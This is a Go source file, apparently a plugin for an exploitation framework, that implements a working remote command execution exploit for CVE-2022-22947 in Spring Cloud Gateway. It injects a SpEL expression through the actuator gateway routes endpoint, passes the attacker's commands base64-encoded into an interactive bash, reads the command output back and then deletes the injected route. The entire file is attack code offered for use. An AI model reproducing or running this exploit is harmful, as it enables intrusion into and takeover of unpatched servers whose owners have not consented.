package drops

import (
	"context"
	"crypto/tls"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"io/ioutil"
	"math/rand"
	"net/http"
	"net/url"
	"strings"
)

type Spring_cve_2022_22947 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp Spring_cve_2022_22947
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *Spring_cve_2022_22947) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "623bd311-3efa-41e7-bc5d-971a6808cf72",
		VulId:   "6e18c021-0bc6-44eb-bb7f-bc7e979858b3",
		Name:    "Spring_CVE_2022_22947",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *Spring_cve_2022_22947) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (expData []*expbase.CommandResultEvent, err error) {
	charSet := "abcdefghijklmnopqrstuvwxyz"
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	baseRequest := *reqAsset.Req
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()

	for _, cmd1 := range expContext.CommandToExecute {
		res := base64.StdEncoding.EncodeToString([]byte(cmd1))
		cmd := `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
		var output strings.Builder
		length := 10
		for i := 0; i < length; i++ {
			random := rand.Intn(len(charSet))
			randomChar := charSet[random]
			output.WriteString(string(randomChar))
		}
		random := output.String()
		output.Reset()
		var payload string = `{"id": "` + random + `", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"` + cmd + `\").getInputStream()))}"}}], "uri": "http://example.com"}`
		var jsonStr = []byte(payload)
		url1 := baseUrl + "/actuator/gateway/routes/" + random
		url2 := baseUrl + "/actuator/gateway/refresh"
		// 请求1
		req.RawRequest.Method = http.MethodPost
		req.RawRequest.URL, err = url.Parse(url1)
		if err != nil {
			return nil, err
		}
		req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36")
		req.RawRequest.Header.Set("Content-Type", "application/json")
		req.RawRequest.Header.Set("Accept", "*/*")
		req.SetBody(jsonStr)
		client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		ns := ""
		if resp.GetStatus() == 201 {
			req2 := baseRequest
			req2.RawRequest.Method = http.MethodPost
			req2.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36")
			req2.RawRequest.Header.Set("Content-Type", "application/json")
			req2.RawRequest.Header.Set("Accept", "*/*")
			req.RawRequest.URL, err = url.Parse(url2)
			resp2, err := expContext.HttpClient.Do(ctx, req)
			if err != nil {
				return nil, err
			}
			if resp2.GetStatus() == 200 {
				req3, err := http.Get(url1)
				if err != nil {
					return nil, err
				}
				body, err := ioutil.ReadAll(req3.Body)
				resultadoRce := Between(string(body), "= '", `\n']`)
				ns = strings.Replace(resultadoRce, `\n`, "\n", -1)
				req4, err := http.NewRequest("DELETE", url1, nil)
				_, _ = client.Do(req4)
			}
		}
		expData = append(expData, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd1,
			Result:    []byte(ns),
		})
	}
	return expData, nil
}
func (t *Spring_cve_2022_22947) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *Spring_cve_2022_22947) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}

func Between(str, starting, ending string) string {
	s := strings.Index(str, starting)
	if s < 0 {
		return ""
	}
	s += len(starting)
	e := strings.Index(str[s:], ending)
	if e < 0 {
		return ""
	}
	return str[s : s+e]
}
